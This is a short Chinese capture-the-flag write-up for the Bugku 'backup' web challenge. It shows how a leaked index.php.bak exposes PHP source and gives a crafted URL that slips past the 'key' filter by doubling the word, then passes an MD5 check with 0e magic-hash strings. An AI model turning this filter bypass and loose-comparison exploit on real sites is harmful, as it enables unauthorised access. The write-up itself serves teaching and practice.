CTF之Bugku 备份是个好习惯
程序员文章站
2022-03-05 13:53:12
...
原理:御剑扫描后台网址,分析代码,提交的url会过滤key字符,构造kkeyey=参数;使md5字符不同,值相同,MD5绕过
发现有个index.php.bak,打开是下载一个东西
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
分析代码
strstr()将请求url中‘?’以后的字符赋值给str
substr()将下标为1的重新赋值给str
str_replace()把str中的key用空代替
总的来说就是替换掉key
最后需要绕过md5,加密前的MD5不同,加密后相同
构造url
http://123.206.87.240:8002/web16/index.php?kkeyey1=QNKCDZO&kkeyey2=s878926199a
拿到flag
上一篇: 具有引导性的移动应用界面设计模式
下一篇: SQLServer添加链接服务器